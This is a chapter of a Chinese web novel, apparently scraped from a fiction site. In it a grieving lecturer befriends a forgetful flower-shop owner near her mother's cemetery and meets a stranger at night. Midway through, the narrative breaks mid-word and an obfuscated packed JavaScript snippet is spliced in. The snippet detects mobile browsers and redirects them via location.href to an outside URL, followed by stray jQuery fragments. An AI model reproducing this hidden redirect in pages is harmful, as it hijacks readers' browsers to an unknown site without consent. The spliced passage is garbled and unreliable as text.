谭芊的母亲七月去世，葬在京市郊区的一座公墓，她起初每隔几天就要去祭奠一次。


    墓园旁边开了一溜花店，她经常去那家“应氏花语”。


    花店老板是个五十来岁的阿姨，不连带推销、明码标价，说话轻声细语，温柔又友好。


    见谭芊进来了，迎面问候一声。


    谭芊杏眼弯弯，同样报以微笑。


    她今天选了一束黄百合，付钱的时候应老板说三十，谭芊扫码的手一顿，垂眸看了眼花束上的标签，贴着四十。


    老板不好意思地摸摸脸，说自己记错了，她上了年纪，记性越来越不好了。


    谭芊付完钱，临走时看店门外一大桶康乃馨在阳光下暴晒，于是折回去，和老板知会了一声。


    老板一拍脑袋：“哎！我又忘了。”


    谭芊来墓园的次数多了，这种事遇见的也多。


    整整一个暑假，她每次来买花时都得提醒对方一些零碎的琐事。


    有时是店门口遗落的花束，有时是花架倒数第二层遗忘的书本。


    谭芊把书拿起来，轻轻拂开上面枯黄的花瓣，浅蓝色的封面上印着白色的碎雪点，左上角是书名——《大雪将至》。


    随手翻过扉页，右下角龙飞凤舞地写着个名字。


    谭芊一眼扫过去只认出个三点水，将这本书放回桌上。


    慢慢地，谭芊和老板关系亲密起来。


    她添加了花店的微信号，有时候想要一些价格昂贵的花束，就会提前一天发信息过去。


    老板会回复一条声线温和的语音过来：“好的，备上了。”


    后来，谭芊叫老板应阿姨。


    应阿姨保养得很好，叫人看不出年纪。


    花店装潢得也精致，只卖花束，不卖纸钱。


    应阿姨一个人开店，东西太多整理不过来，说自己上了年纪，记性越来越不好了。


    谭芊用食指挠挠鬓边，尴尬地笑笑：“的确是呢。”


    具体也体现在一句话不停地重复。


    夏天天热，应阿姨关着玻璃门开空调，一天下来花也卖不出去几朵。


    谭芊是个自来熟，有时店里没有生意，她会和应阿姨闲聊几句。


    应阿姨以前中医院工作，退休后闲得慌，所以才出来给自己找点事做。


    谭芊说难怪，您这每天就卖几束花，换别家都交不起房租。


    应阿姨笑着说自己就是个劳碌命，天天在家脑子都要退化掉了，她上了年纪，记性越来越不好了。


    谭芊：“……”


    这已经不是单纯的记性不好了吧？


    她委婉地建议应阿姨去医院做个体检，应阿姨应了声好就去忙别的事了。


    谭芊无奈地叹了口气：“您答应得倒是快，大概也不会去吧？”


    应阿姨哈哈大笑。


    谭芊也跟着勾了勾唇，却并没有让这个话题随着笑声翻过去。


    等到那阵轻松笑意暂时歇下来，她又继续捡起之前的话茬：“还是去看看吧，如果我当初能早点带我妈妈去做个检查，她可能也不会走得这么突然了。”


    谭芊的母亲是心梗去世的，非常突然。


    甚至前一天晚上人还好好的，和谭芊打电话时说自己马上要退休了，打算去医院做个全身体检。


    那时正是期末，谭芊在大学任教，工作忙，打算等放了暑假就陪母亲一起去。


    话筒那边也应了声好。


    和往常一样的通话，互相道了晚安后就挂断了。


    却未曾想隔天就出了意外。


    事后，谭芊无数次回忆起这通电话，怀疑母亲在提出体检之前身体就已经出现不适了。


    可她却未能及时察觉。


    谭芊的父亲早逝，她是母亲一手带大的。


    失去了唯一的亲人，也几乎要走了她的半条命。


    那段时间她不吃不睡，大脑一片空白，整个人浑浑噩噩地活着，和死了没什么两样。


    之后两个多月的暑假，她一点一点慢慢调整。


    张不开的嘴也张开吃饭了，站不起来的人也扶着墙站起来了。


    迈不过的坎、走不出的痛，也就这么被时间推着，一点一点慢慢往前磨。


    开具死亡证明、统计名下财产、销户、下葬、整理遗物。


    吃饭、睡觉、工作。


    只要还能喘气，总能熬过来。


    直到现在，谭芊已经可以像以前那样正常生活。


    她像是被一根细细的丝线吊着往前走，手脚都被牵着，慢慢缓缓地往前拖。


    这样的状态始终还是不对。


    终于在九月中旬，谭芊生了场病。


    不过是换季的普通感冒，硬是拖了一个星期也不见好。


    她趁着午休去校医院挂吊针，手机上收到了丁谷南分享给她的几条公众号动态，其中一条说什么“揭秘为什么不能频繁去墓园”，谭芊点开来看，无非是一些玄而又玄的迷信。


    她给丁谷南发信息：你还信这些？


    对方回复：宁可信其有不可信其无。


    丁谷南是谭芊的大学室友，虽然毕业后天各一方，但工作后一直保持着联系。


    谭芊母亲刚出事的时候丁谷南抛下工作过来衣不解带地照顾她，即便之后回去了也是一天给她发无数条信息来，谭芊总不好让她继续担心。


    而且就算不去在意那些乱七八糟的迷信，经常去墓园总归也是不好的，毕竟触景伤情，她每次看见母亲墓碑上的照片心里总会难受。


    因此九月之后谭芊就把精力大部分用在工作上，闲暇时给自己报了几个兴趣班，也算是有计划地打发时间。


    差不多坚持了半个月，她在九月末的时候再次去了趟墓园。


    这次是临时决定去的，谭芊并没有提前一天给应阿姨发信息预定花束。


    然而等她到了花店门口，却见玻璃大门紧闭，上面贴着一张A4纸打印出来的休店通知，没写复工时间。


    谭芊探着脑袋往店内看了看，花架上空空如也，看起来已经关门有一阵子了。


    没办法，她只好去了别处。


    等探望结束，谭芊又路过花店，心里到底还是不放心，便划开手机给应阿姨发去了一条信息，询问身体是否安好。


    让人意外的是，这次回复的很快，且并不是一贯的语音，而是一段文字。


    【应氏花语：多谢挂怀，一切安好。应氏花语9-10月暂时歇业，届时将于11月份重新开业，开业后一星期全场八折，欢迎新老顾客前来光顾[庆祝][烟花][烟花]。】


    谭芊脚步一顿，盯着这串一本正经的小作文停了两秒，又重新迈开脚步。


    可能是应阿姨在哪儿复制的吧。


    她忍不住这么想。


    十月份，谭芊带着学生参加了几场大学生竞赛。


    她高中选的理，本科学的工，研究生在实验室兢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469732|201411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    兢业业搬了三年的砖，毕业后留校任教，教的是理论力学，也带几门课外实习。


    这届学生是她工作后带的第一届，所以格外认真用心。


    平时有什么比赛或者活动谭芊都亲自领着过去，和学生们在一起很充实也很快乐。


    只是当身边的人散尽，仿佛潮水拍岸后的急急退潮。


    那种湿漉漉的感觉还黏在身上，是汗冷下来的触感。


    晚上十点，谭芊从睡梦中惊醒，不觉间已泪流满面。


    她双手抓紧被沿，扭头望向窗外月色如霜，思念在这一刻如海水倒灌。


    妈妈。


    谭芊随便披了件大衣出门，初冬的风裹着刺骨的凉。


    这让她想起小时候的一次意外走丢，自己也是这样胡乱地抹着眼泪，沿着马路跌跌撞撞地往前走。


    有路人蹲下身询问她家住在哪，谭芊谨记着妈妈“不和陌生人”说话的叮嘱，咬着嘴唇一声不吭。


    最后还是警察叔叔把她带去了派出所，后来妈妈赶到，同样哭着扑向了她。


    那时她还有妈妈。


    谭芊长发蓬乱，在墓园的入口处泣不成声。


    眼泪冷了下来，仿佛在皮肤上结下了一层薄薄的冰，和她的心一样，随着呼吸“咔擦咔擦”皲裂开来。


    基于安全风险和管理规定，墓园夜间不允许进入。


    正在值班的保安大爷急得抓耳挠腮，监控拍着呢，这关系到他的工资。


    谭芊知道，也不愿为难打工人，只是细着嗓音“嗯”了一声，便默默转身离开。


    然而没走几步，余光扫过有一抹亮光，她偏过头去，才发现熟悉的店面已经开始重新开张。


    屋里亮着暖黄色的灯光，透过玻璃门隐约能看见忙碌的身影。


    谭芊走向那家“应氏花语”，本想推门进去，可走近了才发现玻璃门上已经挂上了“暂停营业”的提示牌。


    她伸出去的手一顿，随即垂在了身侧，心里反复修筑的堤岸在这一刻破开豁口，往外“哗啦啦”淌着身上的体温。


    一开始她还尝试着控制，咬紧齿关，十指攥拳。


    但那一道豁口很快被汹涌而来的情绪冲刷成一处洼地，温热的眼泪止不住地涌出眼眶，顺着脸颊聚拢在她的下巴，于胸前下了场淅淅沥沥的小雨。


    指尖轻轻发抖，冷得快没有知觉。


    谭芊站在那儿，像是被全世界遗弃。


    “吱——”


    门轴因缺乏润滑，在摩擦时发出尖锐的声响。


    那扇玻璃门开了，一片阴影拢住了她。


    谭芊抬起头，对上一道自上而下的目光。


    那是个十分高大的男人，宽阔的肩膀把店里的灯光遮了大半。


    他五官浸在阴影里，看不清楚，但身上带着暖意，在十月的夜里扑面而来。


    谭芊吸了吸鼻涕。


    片刻的停顿后，男人询问道：“需要帮助吗？”


    温和的声线带着几分低沉，磁石一般落入谭芊的耳中。


    灯光打在他薄薄的耳廓，有一瞬间的透光，很快就被细碎的乌发遮掩。


    男人穿着一件深灰色的套头毛衣，略微宽松的款式，袖口卷到小臂，看起来随意舒适。


    半边玻璃门被他完全推开，暖黄的光亮重新映入谭芊的眼底，她后知后觉地发现原来是店里开了暖气。


    “进来坐会儿吧。”男人看向谭芊，再次开口，“你会感冒的。”